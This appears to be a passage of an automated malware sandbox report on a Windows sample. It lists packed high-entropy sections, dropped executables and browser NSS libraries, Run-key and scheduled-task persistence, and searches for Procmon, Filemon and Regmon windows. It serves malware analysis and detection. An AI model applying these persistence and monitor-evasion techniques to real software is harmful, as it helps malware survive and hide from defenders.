Source: axplong.exe.8.dr	Static PE information: real checksum: 0x1d101c should be: 0x1d2453
Source: RoamingCFCGIIEHIE.exe.0.dr	Static PE information: real checksum: 0x1cd2f9 should be: 0x1cfa89
Source: userAKKKFBGDHJ.exe.0.dr	Static PE information: real checksum: 0x1d101c should be: 0x1d2453

Source: file.exe	Static PE information: section name: .lowo
Source: file.exe	Static PE information: section name: .nade
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: RoamingCFCGIIEHIE.exe.0.dr	Static PE information: section name:
Source: RoamingCFCGIIEHIE.exe.0.dr	Static PE information: section name: .idata
Source: RoamingCFCGIIEHIE.exe.0.dr	Static PE information: section name:
Source: RoamingCFCGIIEHIE.exe.0.dr	Static PE information: section name: cwtgiuyn
Source: RoamingCFCGIIEHIE.exe.0.dr	Static PE information: section name: mrbyzpwc
Source: RoamingCFCGIIEHIE.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe.0.dr	Static PE information: section name: .lowo
Source: random[1].exe.0.dr	Static PE information: section name: .nade
Source: userAKKKFBGDHJ.exe.0.dr	Static PE information: section name:
Source: userAKKKFBGDHJ.exe.0.dr	Static PE information: section name: .idata
Source: userAKKKFBGDHJ.exe.0.dr	Static PE information: section name:
Source: userAKKKFBGDHJ.exe.0.dr	Static PE information: section name: pcxsfzhs
Source: userAKKKFBGDHJ.exe.0.dr	Static PE information: section name: plzfkdac
Source: userAKKKFBGDHJ.exe.0.dr	Static PE information: section name: .taggant
Source: explorti.exe.5.dr	Static PE information: section name:
Source: explorti.exe.5.dr	Static PE information: section name: .idata
Source: explorti.exe.5.dr	Static PE information: section name:
Source: explorti.exe.5.dr	Static PE information: section name: cwtgiuyn
Source: explorti.exe.5.dr	Static PE information: section name: mrbyzpwc
Source: explorti.exe.5.dr	Static PE information: section name: .taggant
Source: axplong.exe.8.dr	Static PE information: section name:
Source: axplong.exe.8.dr	Static PE information: section name: .idata
Source: axplong.exe.8.dr	Static PE information: section name:
Source: axplong.exe.8.dr	Static PE information: section name: pcxsfzhs
Source: axplong.exe.8.dr	Static PE information: section name: plzfkdac
Source: axplong.exe.8.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0041A9F5 push ecx; ret		0_2_0041AA08
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DB536 push ecx; ret		0_2_6C5DB549

Source: file.exe	Static PE information: section name: .text entropy: 7.814911045179817
Source: RoamingCFCGIIEHIE.exe.0.dr	Static PE information: section name: entropy: 7.987749938508856
Source: RoamingCFCGIIEHIE.exe.0.dr	Static PE information: section name: cwtgiuyn entropy: 7.952966002632842
Source: random[1].exe.0.dr	Static PE information: section name: .text entropy: 7.814911045179817
Source: userAKKKFBGDHJ.exe.0.dr	Static PE information: section name: entropy: 7.977259343253602
Source: userAKKKFBGDHJ.exe.0.dr	Static PE information: section name: pcxsfzhs entropy: 7.95412617888117
Source: explorti.exe.5.dr	Static PE information: section name: entropy: 7.987749938508856
Source: explorti.exe.5.dr	Static PE information: section name: cwtgiuyn entropy: 7.952966002632842
Source: axplong.exe.8.dr	Static PE information: section name: entropy: 7.977259343253602
Source: axplong.exe.8.dr	Static PE information: section name: pcxsfzhs entropy: 7.95412617888117

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\userAKKKFBGDHJ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	File created: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Jump to dropped file
Source: C:\Users\userAKKKFBGDHJ.exe	File created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run bdb44f72d9.exe
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 624f4d727e.exe

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\userAKKKFBGDHJ.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\userAKKKFBGDHJ.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\userAKKKFBGDHJ.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\userAKKKFBGDHJ.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\userAKKKFBGDHJ.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\userAKKKFBGDHJ.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\userAKKKFBGDHJ.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\userAKKKFBGDHJ.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: Regmonclass

Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe

File created: C:\Windows\Tasks\explorti.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 624f4d727e.exe
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 624f4d727e.exe
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run bdb44f72d9.exe
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run bdb44f72d9.exe

Source: C:\Users\user\Desktop\file.exe

0_2_004195E0

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\userAKKKFBGDHJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
